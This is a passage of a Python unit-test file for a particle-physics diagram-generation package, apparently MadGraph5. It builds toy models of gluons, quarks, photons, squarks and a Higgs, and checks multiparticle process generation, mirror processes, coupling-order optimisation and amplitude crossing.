vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertEqual(None, vertices[ivert].get('legs')[-1].get('onshell')) else: self.assertFalse(any([vert.get('legs')[-1].get('onshell') == False\ for vert in diagrams[idiag].get('vertices')])) #=============================================================================== # MultiProcessTest #=============================================================================== class MultiProcessTest(unittest.TestCase): """Test class for the MultiProcess object""" mydict = {} my_process_definition = None mymodel = base_objects.Model() my_multi_leglist = base_objects.MultiLegList() my_process_definitions = base_objects.ProcessDefinitionList() my_processes = base_objects.ProcessList() my_multi_process = diagram_generation.MultiProcess() def setUp(self): mypartlist = base_objects.ParticleList() myinterlist = base_objects.InteractionList() # A gluon mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A quark U and its antiparticle mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) antiu = copy.copy(mypartlist[1]) antiu.set('is_part', False) # A quark D and its antiparticle mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) antid = copy.copy(mypartlist[2]) antid.set('is_part', False) # A photon mypartlist.append(base_objects.Particle({'name':'a', 'antiname':'a', 'spin':3, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'\gamma', 'antitexname':'\gamma', 'line':'wavy', 'charge':0., 'pdg_code':22, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A electron and positron mypartlist.append(base_objects.Particle({'name':'e-', 'antiname':'e+', 'spin':2, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'e^-', 'antitexname':'e^+', 'line':'straight', 'charge':-1., 'pdg_code':11, 'propagating':True, 'is_part':True, 'self_antipart':False})) antie = copy.copy(mypartlist[4]) antie.set('is_part', False) # 3 gluon vertiex myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [mypartlist[0]] * 3), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G'}, 'orders':{'QCD':1}})) # 4 gluon vertex myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [mypartlist[0]] * 4), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G^2'}, 'orders':{'QCD':2}})) # Gluon and photon couplings to quarks myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [mypartlist[1], \ antiu, \ mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 4, 'particles': base_objects.ParticleList(\ [mypartlist[1], \ antiu, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) myinterlist.append(base_objects.Interaction({ 'id': 5, 'particles': base_objects.ParticleList(\ [mypartlist[2], \ antid, \ mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 6, 'particles': base_objects.ParticleList(\ [mypartlist[2], \ antid, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Coupling of e to gamma myinterlist.append(base_objects.Interaction({ 'id': 7, 'particles': base_objects.ParticleList(\ [mypartlist[4], \ antie, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) self.mymodel.set('particles', mypartlist) self.mymodel.set('interactions', myinterlist) self.mymodel.set('order_hierarchy', {'QCD':1, 'QED':2}) self.my_multi_leglist = base_objects.MultiLegList(\ [copy.copy(base_objects.MultiLeg({'ids':[3, 4, 5], 'state':True})) for \ dummy in range(5)]) self.my_multi_leglist[0].set('state', False) self.my_multi_leglist[1].set('state', False) mydict = {'legs':self.my_multi_leglist, 'orders':{'QCD':5, 'QED':1}, 'model':self.mymodel, 'id':3} self.my_process_definition = base_objects.ProcessDefinition(mydict) self.my_process_definitions = base_objects.ProcessDefinitionList(\ [self.my_process_definition]) self.mydict = {'process_definitions':self.my_process_definitions} self.my_multi_process = diagram_generation.MultiProcess(\ self.mydict) def test_setget_process_correct(self): "Test correct MultiProcess object __init__, get and set" myprocess2 = diagram_generation.MultiProcess() for prop in self.mydict.keys(): myprocess2.set(prop, self.mydict[prop]) self.assertEqual(self.my_multi_process, myprocess2) def test_setget_process_exceptions(self): "Test error raising in MultiProcess __init__, get and set" wrong_dict = self.mydict wrong_dict['wrongparam'] = 'wrongvalue' a_number = 0 # Test init self.assertRaises(diagram_generation.MultiProcess.PhysicsObjectError, diagram_generation.MultiProcess, wrong_dict) self.assertRaises(AssertionError, diagram_generation.MultiProcess, a_number) # Test get self.assertRaises(AssertionError, self.my_multi_process.get, a_number) self.assertRaises(diagram_generation.MultiProcess.PhysicsObjectError, self.my_multi_process.get, 'wrongparam') # Test set self.assertRaises(AssertionError, self.my_multi_process.set, a_number, 0) self.assertRaises(diagram_generation.MultiProcess.PhysicsObjectError, self.my_multi_process.set, 'wrongparam', 0) def test_representation(self): """Test process object string representation.""" goal = "{\n" goal = goal + " \'process_definitions\': %s,\n" % repr(self.my_process_definitions) goal = goal + " \'amplitudes\': %s\n}" % repr(diagram_generation.AmplitudeList()) self.assertEqual(goal, str(self.my_multi_process)) def test_multiparticle_pp_nj(self): """Setting up and testing pp > nj based on multiparticle lists, using the amplitude functionality of MultiProcess (which makes partial use of crossing symmetries) """ max_fs = 2 # 3 p = [1, -1, 2, -2, 21] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); goal_number_processes = [219, 379] goal_valid_procs = [] goal_valid_procs.append([([1, 1, 1, 1], 4), ([1, -1, 1, -1], 4), ([1, -1, 2, -2], 2), ([1, -1, 21, 21], 3), ([1, 2, 1, 2], 2), ([1, -2, 1, -2], 2), ([1, 21, 1, 21], 3), ([-1, 1, 1, -1], 4), ([-1, 1, 2, -2], 2), ([-1, 1, 21, 21], 3), ([-1, -1, -1, -1], 4), ([-1, 2, -1, 2], 2), ([-1, -2, -1, -2], 2), ([-1, 21, -1, 21], 3), ([2, 1, 1, 2], 2), ([2, -1, -1, 2], 2), ([2, 2, 2, 2], 4), ([2, -2, 1, -1], 2), ([2, -2, 2, -2], 4), ([2, -2, 21, 21], 3), ([2, 21, 2, 21], 3), ([-2, 1, 1, -2], 2), ([-2, -1, -1, -2], 2), ([-2, 2, 1, -1], 2), ([-2, 2, 2, -2], 4), ([-2, 2, 21, 21], 3), ([-2, -2, -2, -2], 4), ([-2, 21, -2, 21], 3), ([21, 1, 1, 21], 3), ([21, -1, -1, 21], 3), ([21, 2, 2, 21], 3), ([21, -2, -2, 21], 3), ([21, 21, 1, -1], 3), ([21, 21, 2, -2], 3), ([21, 21, 21, 21], 4)]) goal_valid_procs.append([([1, 1, 1, 1, 21], 18), ([1, -1, 1, -1, 21], 18), ([1, -1, 2, -2, 21], 9), ([1, -1, 21, 21, 21], 16), ([1, 2, 1, 2, 21], 9), ([1, -2, 1, -2, 21], 9), ([1, 21, 1, 1, -1], 18), ([1, 21, 1, 2, -2], 9), ([1, 21, 1, 21, 21], 16), ([-1, 1, 1, -1, 21], 18), ([-1, 1, 2, -2, 21], 9), ([-1, 1, 21, 21, 21], 16), ([-1, -1, -1, -1, 21], 18), ([-1, 2, -1, 2, 21], 9), ([-1, -2, -1, -2, 21], 9), ([-1, 21, 1, -1, -1], 18), ([-1, 21, -1, 2, -2], 9), ([-1, 21, -1, 21, 21], 16), ([2, 1, 1, 2, 21], 9), ([2, -1, -1, 2, 21], 9), ([2, 2, 2, 2, 21], 18), ([2, -2, 1, -1, 21], 9), ([2, -2, 2, -2, 21], 18), ([2, -2, 21, 21, 21], 16), ([2, 21, 1, -1, 2], 9), ([2, 21, 2, 2, -2], 18), ([2, 21, 2, 21, 21], 16), ([-2, 1, 1, -2, 21], 9), ([-2, -1, -1, -2, 21], 9), ([-2, 2, 1, -1, 21], 9), ([-2, 2, 2, -2, 21], 18), ([-2, 2, 21, 21, 21], 16), ([-2, -2, -2, -2, 21], 18), ([-2, 21, 1, -1, -2], 9), ([-2, 21, 2, -2, -2], 18), ([-2, 21, -2, 21, 21], 16), ([21, 1, 1, 1, -1], 18), ([21, 1, 1, 2, -2], 9), ([21, 1, 1, 21, 21], 16), ([21, -1, 1, -1, -1], 18), ([21, -1, -1, 2, -2], 9), ([21, -1, -1, 21, 21], 16), ([21, 2, 1, -1, 2], 9), ([21, 2, 2, 2, -2], 18), ([21, 2, 2, 21, 21], 16), ([21, -2, 1, -1, -2], 9), ([21, -2, 2, -2, -2], 18), ([21, -2, -2, 21, 21], 16), ([21, 21, 1, -1, 21], 16), ([21, 21, 2, -2, 21], 16), ([21, 21, 21, 21, 21], 25)]) for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * (2 + nfs)]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':self.mymodel, 'orders': {'QED': nfs}}) my_multiprocess = diagram_generation.MultiProcess(\ {'process_definitions':\ base_objects.ProcessDefinitionList([my_process_definition])}) nproc = 0 # Calculate diagrams for all processes amplitudes = my_multiprocess.get('amplitudes') valid_procs = [([leg.get('id') for leg in \ amplitude.get('process').get('legs')], len(amplitude.get('diagrams'))) \ for amplitude in amplitudes] if nfs <= 3: self.assertEqual(valid_procs, goal_valid_procs[nfs-2]) #print 'pp > ',nfs,'j (p,j = ', p, '):' #print 'Valid processes: ',len(filter(lambda item: item[1] > 0, valid_procs)) #print 'Attempted processes: ',len(amplitudes) def test_multiparticle_stop_decay(self): """Test that process mirroring is not used in the process st > st g """ mypartlist = base_objects.ParticleList() myinterlist = base_objects.InteractionList() mymodel = base_objects.Model() # A gluon mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) g = mypartlist[-1] # Two stop squarks mypartlist.append(base_objects.Particle({'name':'t1', 'antiname':'t1~', 'spin':1, 'color':3, 'mass':'Mt1', 'width':'Wt1', 'texname':'t1', 'antitexname':'\bar t1', 'line':'straight', 'charge':2. / 3., 'pdg_code':1000006, 'propagating':True, 'is_part':True, 'self_antipart':False})) t1 = mypartlist[-1] t1bar = copy.copy(t1) t1bar.set('is_part', False) mypartlist.append(base_objects.Particle({'name':'t2', 'antiname':'t2~', 'spin':1, 'color':3, 'mass':'Mt2', 'width':'Wt2', 'texname':'t2', 'antitexname':'\bar t2', 'line':'straight', 'charge':2. / 3., 'pdg_code':2000006, 'propagating':True, 'is_part':True, 'self_antipart':False})) t2 = mypartlist[-1] t2bar = copy.copy(t2) t2bar.set('is_part', False) # Gluon couplings to squarks myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [t1bar, \ t1, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [t2bar, \ t2, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [t1bar, \ t2, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G12G'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 4, 'particles': base_objects.ParticleList(\ [t2bar, \ t1, \ g]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G12G'}, 'orders':{'QCD':1}})) mymodel.set('particles', mypartlist) mymodel.set('interactions',myinterlist) max_fs = 2 p = [1000006, 2000006, -1000006, -2000006] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); goal_number_processes = [8] goal_valid_procs = [] goal_valid_procs.append([([1000006, 1000006, 21], 1), ([1000006, 2000006, 21], 1), ([2000006, 1000006, 21], 1), ([2000006, 2000006, 21], 1), ([-1000006, -1000006, 21], 1), ([-1000006, -2000006, 21], 1), ([-2000006, -1000006, 21], 1), ([-2000006, -2000006, 21], 1)]) for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * 2]) my_multi_leglist += [copy.copy(base_objects.MultiLeg({'ids':[21]}))\ for n in range(2, nfs + 1)] my_multi_leglist[0].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':mymodel, 'orders': {'QED': nfs}}) my_multiprocess = diagram_generation.MultiProcess(\ {'process_definitions':\ base_objects.ProcessDefinitionList([my_process_definition])}, collect_mirror_procs = True) nproc = 0 # Calculate diagrams for all processes amplitudes = my_multiprocess.get('amplitudes') valid_procs = [([leg.get('id') for leg in \ amplitude.get('process').get('legs')], len(amplitude.get('diagrams'))) \ for amplitude in amplitudes] # print 'pp > ',nfs,'j (p,j = ', p, '):' # print 'Valid processes: ',valid_procs if nfs <= 3: self.assertEqual(valid_procs, goal_valid_procs[nfs-2]) def test_heft_multiparticle_pp_hnj(self): """Test pp > h+nj in HEFT, which tests new optimize_orders """ mypartlist = base_objects.ParticleList() myinterlist = base_objects.InteractionList() # A gluon mypartlist.append(base_objects.Particle({'name':'g', 'antiname':'g', 'spin':3, 'color':8, 'mass':'zero', 'width':'zero', 'texname':'g', 'antitexname':'g', 'line':'curly', 'charge':0., 'pdg_code':21, 'propagating':True, 'is_part':True, 'self_antipart':True})) g = mypartlist[-1] # A quark U and its antiparticle mypartlist.append(base_objects.Particle({'name':'u', 'antiname':'u~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'u', 'antitexname':'\bar u', 'line':'straight', 'charge':2. / 3., 'pdg_code':2, 'propagating':True, 'is_part':True, 'self_antipart':False})) antiu = copy.copy(mypartlist[1]) antiu.set('is_part', False) # A quark D and its antiparticle mypartlist.append(base_objects.Particle({'name':'d', 'antiname':'d~', 'spin':2, 'color':3, 'mass':'zero', 'width':'zero', 'texname':'d', 'antitexname':'\bar d', 'line':'straight', 'charge':-1. / 3., 'pdg_code':1, 'propagating':True, 'is_part':True, 'self_antipart':False})) antid = copy.copy(mypartlist[2]) antid.set('is_part', False) # A photon mypartlist.append(base_objects.Particle({'name':'a', 'antiname':'a', 'spin':3, 'color':1, 'mass':'zero', 'width':'zero', 'texname':'\gamma', 'antitexname':'\gamma', 'line':'wavy', 'charge':0., 'pdg_code':22, 'propagating':True, 'is_part':True, 'self_antipart':True})) # A higgs mypartlist.append(base_objects.Particle({'name':'h', 'antiname':'h', 'spin':1, 'color':1, 'mass':'MH', 'width':'WH', 'texname':'h', 'antitexname':'h', 'line':'dashed', 'charge':0., 'pdg_code':25, 'propagating':True, 'is_part':True, 'self_antipart':True})) h = mypartlist[-1] # 3 gluon vertiex myinterlist.append(base_objects.Interaction({ 'id': 1, 'particles': base_objects.ParticleList(\ [mypartlist[0]] * 3), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G'}, 'orders':{'QCD':1}})) # 4 gluon vertex myinterlist.append(base_objects.Interaction({ 'id': 2, 'particles': base_objects.ParticleList(\ [mypartlist[0]] * 4), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'G^2'}, 'orders':{'QCD':2}})) # Gluon and photon couplings to quarks myinterlist.append(base_objects.Interaction({ 'id': 3, 'particles': base_objects.ParticleList(\ [mypartlist[1], \ antiu, \ mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 4, 'particles': base_objects.ParticleList(\ [mypartlist[1], \ antiu, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) myinterlist.append(base_objects.Interaction({ 'id': 5, 'particles': base_objects.ParticleList(\ [mypartlist[2], \ antid, \ mypartlist[0]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQQ'}, 'orders':{'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 6, 'particles': base_objects.ParticleList(\ [mypartlist[2], \ antid, \ mypartlist[3]]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'QED':1}})) # Couplings of h to g myinterlist.append(base_objects.Interaction({ 'id': 7, 'particles': base_objects.ParticleList(\ [g, g, \ h]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GGH'}, 'orders':{'HIG':1}})) myinterlist.append(base_objects.Interaction({ 'id': 8, 'particles': base_objects.ParticleList(\ [g, g, g, h]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GGGH'}, 'orders':{'HIG':1, 'QCD':1}})) myinterlist.append(base_objects.Interaction({ 'id': 9, 'particles': base_objects.ParticleList(\ [g, g, g, g, h]), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GGGGH'}, 'orders':{'HIG':1, 'QCD':2}})) mymodel = base_objects.Model() mymodel.set('particles', mypartlist) mymodel.set('interactions', myinterlist) mymodel.set('order_hierarchy', {'QCD':1, 'HIG':1, 'QED':2}) mymodel.set('expansion_order', {'QCD':-1, 'HIG':1, 'QED':-1}) max_fs = 2 p = [21, 1, 2, -1, -2] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); goal_number_processes = [7, 21] goal_valid_procs = [[([21, 21, 21, 25], 4), ([21, 1, 1, 25], 1), ([21, 2, 2, 25], 1), ([21, -1, -1, 25], 1), ([21, -2, -2, 25], 1), ([1, -1, 21, 25], 1), ([2, -2, 21, 25], 1)], [([21, 21, 21, 21, 25], 26), ([21, 21, 1, -1, 25], 8), ([21, 21, 2, -2, 25], 8), ([21, 1, 21, 1, 25], 8), ([21, 2, 21, 2, 25], 8), ([21, -1, 21, -1, 25], 8), ([21, -2, 21, -2, 25], 8), ([1, 1, 1, 1, 25], 2), ([1, 2, 1, 2, 25], 1), ([1, -1, 21, 21, 25], 8), ([1, -1, 1, -1, 25], 2), ([1, -1, 2, -2, 25], 1), ([1, -2, 1, -2, 25], 1), ([2, 2, 2, 2, 25], 2), ([2, -1, 2, -1, 25], 1), ([2, -2, 21, 21, 25], 8), ([2, -2, 1, -1, 25], 1), ([2, -2, 2, -2, 25], 2), ([-1, -1, -1, -1, 25], 2), ([-1, -2, -1, -2, 25], 1), ([-2, -2, -2, -2, 25], 2)]] for nfs in range(1, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * (2 + nfs)]) my_multi_leglist.append(base_objects.MultiLeg({'ids': [25]})) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':mymodel}) my_multiprocess = diagram_generation.MultiProcess(\ my_process_definition, collect_mirror_procs = True) nproc = 0 # Calculate diagrams for all processes amplitudes = my_multiprocess.get('amplitudes') valid_procs = [([leg.get('id') for leg in \ amplitude.get('process').get('legs')], len(amplitude.get('diagrams'))) \ for amplitude in amplitudes] if nfs <= 3: self.assertEqual(valid_procs, goal_valid_procs[nfs-1]) #print 'pp > h + ',nfs,'j (p,j = ', p, '):' #print 'Processes: ',len(amplitudes), \ # ' with ', sum([v[1] for v in valid_procs]), #for amplitude in amplitudes: # print amplitude.get('process').nice_string() #print 'valid_procs = ',valid_procs def test_multiparticle_mirror_pp_3j(self): """Setting up and testing pp > 3j mirror process functionality """ max_fs = 3 p = [21, 1, 2, -1, -2] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); goal_number_processes = 29 goal_legs_mirror = [\ ([21, 21, 21, 21, 21], False), ([21, 21, 21, 1, -1], False), ([21, 21, 21, 2, -2], False), ([21, 1, 21, 21, 1], True), ([21, 1, 1, 1, -1], True), ([21, 1, 1, 2, -2], True), ([21, 2, 21, 21, 2], True), ([21, 2, 1, 2, -1], True), ([21, 2, 2, 2, -2], True), ([21, -1, 21, 21, -1], True), ([21, -1, 1, -1, -1], True), ([21, -1, 2, -1, -2], True), ([21, -2, 21, 21, -2], True), ([21, -2, 1, -1, -2], True), ([21, -2, 2, -2, -2], True), ([1, 1, 21, 1, 1], False), ([1, 2, 21, 1, 2], True), ([1, -1, 21, 21, 21], True), ([1, -1, 21, 1, -1], True), ([1, -1, 21, 2, -2], True), ([1, -2, 21, 1, -2], True), ([2, 2, 21, 2, 2], False), ([2, -1, 21, 2, -1], True), ([2, -2, 21, 21, 21], True), ([2, -2, 21, 1, -1], True), ([2, -2, 21, 2, -2], True), ([-1, -1, 21, -1, -1], False), ([-1, -2, 21, -1, -2], True), ([-2, -2, 21, -2, -2], False)] # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * 5]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':self.mymodel, 'orders': {'QED': 0}}) # Calculate diagrams for all processes myproc = diagram_generation.MultiProcess(my_process_definition, collect_mirror_procs = True) amplitudes = myproc.get('amplitudes') legs_mirror = [([l.get('id') for l in a.get('process').get('legs')], a.get('has_mirror_process')) for a in amplitudes] self.assertEqual(legs_mirror, goal_legs_mirror) def test_find_optimal_order(self): """Test find_optimal_process_orders for different configurations """ # First try p p > e+ e- + nj max_fs = 5 p = [21, 1, -1, 2, -2] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); orders = [4, 5, 6, 7, 8] for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * (nfs)]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_multi_leglist.append(base_objects.MultiLeg({'ids': [11], 'state': True})) my_multi_leglist.append(base_objects.MultiLeg({'ids': [-11], 'state': True})) my_process_definition = base_objects.ProcessDefinition({'legs':my_multi_leglist, 'model':self.mymodel}) # Check coupling orders for process self.assertEqual(diagram_generation.MultiProcess.\ find_optimal_process_orders(my_process_definition), {'WEIGHTED': orders[nfs-2]}) # Now check p p > a > p p max_fs = 3 orders = [4, 5] for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for \ leg in [my_multi_leg] * (2+nfs)]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':self.mymodel, 'required_s_channels':[22]}) self.assertEqual(diagram_generation.MultiProcess.\ find_optimal_process_orders(my_process_definition), {'WEIGHTED': orders[nfs-2]}) # Now check p p > a|g > p p max_fs = 3 orders = [2, 3] for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for \ leg in [my_multi_leg] * (2+nfs)]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':self.mymodel, 'required_s_channels':[[22],[21]]}) self.assertEqual(diagram_generation.MultiProcess.\ find_optimal_process_orders(my_process_definition), {'WEIGHTED': orders[nfs-2]}) # Check that it works with multiple non-QCD orders. myoldinterlist = self.mymodel.get('interactions') myinterlist = copy.copy(myoldinterlist) myinterlist.append(base_objects.Interaction({ 'id': 8, 'particles': base_objects.ParticleList(\ []), 'color': [], 'lorentz':['L1'], 'couplings':{(0, 0):'GQED'}, 'orders':{'SQED':1}})) self.mymodel.set('interactions', myinterlist) self.mymodel.set('order_hierarchy', {'QCD':1, 'QED':2, 'SQED':2}) self.assertEqual(diagram_generation.MultiProcess.\ find_optimal_process_orders(my_process_definition), {'WEIGHTED': orders[nfs-2]}) self.mymodel.set('interactions', myoldinterlist) # Now check decay process p > p (a|g) max_fs = 3 orders = [1, 2] ag = [21, 22] my_ag_leg = base_objects.MultiLeg({'ids': ag, 'state': True}); for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for \ leg in [my_multi_leg] * 2]) my_multi_leglist.extend([copy.copy(leg) for \ leg in [my_ag_leg] * (nfs-1)]) my_multi_leglist[0].set('state', False) my_process_definition = base_objects.ProcessDefinition({\ 'legs':my_multi_leglist, 'model':self.mymodel}) self.assertEqual(diagram_generation.MultiProcess.\ find_optimal_process_orders(my_process_definition), {}) my_process_definition.set('is_decay_chain', True) self.assertEqual(diagram_generation.MultiProcess.\ find_optimal_process_orders(my_process_definition), {'WEIGHTED': orders[nfs-2]}) def test_multiparticle_pp_nj_with_required_s_channel(self): """Setting up and testing pp > nj with required photon s-channel """ max_fs = 2 # 3 p = [1, -1, 2, -2, 21] my_multi_leg = base_objects.MultiLeg({'ids': p, 'state': True}); goal_number_processes = [8, 24] goal_valid_procs = [] goal_valid_procs.append([([1, -1, 1, -1], 1), ([1, -1, 2, -2], 1), ([-1, 1, 1, -1], 1), ([-1, 1, 2, -2], 1), ([2, -2, 1, -1], 1), ([2, -2, 2, -2], 1), ([-2, 2, 1, -1], 1), ([-2, 2, 2, -2], 1)]) goal_valid_procs.append([([1, -1, 1, -1, 21], 4), ([1, -1, 2, -2, 21], 4), ([1, 21, 1, 1, -1], 4), ([1, 21, 1, 2, -2], 2), ([-1, 1, 1, -1, 21], 4), ([-1, 1, 2, -2, 21], 4), ([-1, 21, 1, -1, -1], 4), ([-1, 21, -1, 2, -2], 2), ([2, -2, 1, -1, 21], 4), ([2, -2, 2, -2, 21], 4), ([2, 21, 1, -1, 2], 2), ([2, 21, 2, 2, -2], 4), ([-2, 2, 1, -1, 21], 4), ([-2, 2, 2, -2, 21], 4), ([-2, 21, 1, -1, -2], 2), ([-2, 21, 2, -2, -2], 4), ([21, 1, 1, 1, -1], 4), ([21, 1, 1, 2, -2], 2), ([21, -1, 1, -1, -1], 4), ([21, -1, -1, 2, -2], 2), ([21, 2, 1, -1, 2], 2), ([21, 2, 2, 2, -2], 4), ([21, -2, 1, -1, -2], 2), ([21, -2, 2, -2, -2], 4)]) for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList([copy.copy(leg) for leg in [my_multi_leg] * (2 + nfs)]) my_multi_leglist[0].set('state', False) my_multi_leglist[1].set('state', False) my_process_definition = base_objects.ProcessDefinition({'legs':my_multi_leglist, 'model':self.mymodel, 'required_s_channels': [[22]]}) my_multiprocess = diagram_generation.MultiProcess(\ {'process_definitions':\ base_objects.ProcessDefinitionList([my_process_definition])}) if nfs <= 3: self.assertEqual(len(my_multiprocess.get('amplitudes')), goal_number_processes[nfs - 2]) # Calculate diagrams for all processes #amplitudes = my_multiprocess.get('amplitudes') valid_procs = [([leg.get('id') for leg in \ amplitude.get('process').get('legs')], len(amplitude.get('diagrams'))) \ for amplitude in my_multiprocess.get('amplitudes')] if nfs <= 3: self.assertEqual(valid_procs, goal_valid_procs[nfs - 2]) def test_wrong_multiparticle(self): """Check that an exception is raised for empty multipart amplitudes""" max_fs = 2 # 3 p = [-1, -2] j = [ 1, 2] my_multi_init = base_objects.MultiLeg({'ids': p, 'state': False}); my_multi_final = base_objects.MultiLeg({'ids': j, 'state': True}); goal_number_processes = [0, 0] for nfs in range(2, max_fs + 1): # Define the multiprocess my_multi_leglist = base_objects.MultiLegList( [copy.copy(leg) for leg in [my_multi_init] * 2] + \ [copy.copy(leg) for leg in [my_multi_final] * nfs] ) my_process_definition = base_objects.ProcessDefinition({'legs':my_multi_leglist, 'model':self.mymodel} ) my_multiprocess = diagram_generation.MultiProcess(\ {'process_definitions':\ base_objects.ProcessDefinitionList([my_process_definition])}) if nfs <= 3: self.assertRaises(MadGraph5Error, my_multiprocess.get, 'amplitudes') def test_crossing_uux_gg(self): """Test the number of diagram generated for uu~>gg (s, t and u channels) """ myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':-1, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) myamplitude = diagram_generation.Amplitude(myproc) myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':1, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':False})) myleglist.append(base_objects.Leg({'id':1, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) crossproc = base_objects.Process({'legs':myleglist, 'model':self.mymodel}) crossamp = diagram_generation.MultiProcess.cross_amplitude(myamplitude, crossproc, [3,4,2,1], [2,4,1,3]) crossed_numbers = [[[3, 1, 1], [2, 4, 1]], [[3, 2, 2], [1, 4, 2]], [[3, 4, 3], [1, 2, 3]]] crossed_states = [[[True, False, False], [False, True, False]], [[True, False, False], [False, True, False]], [[True, True, True], 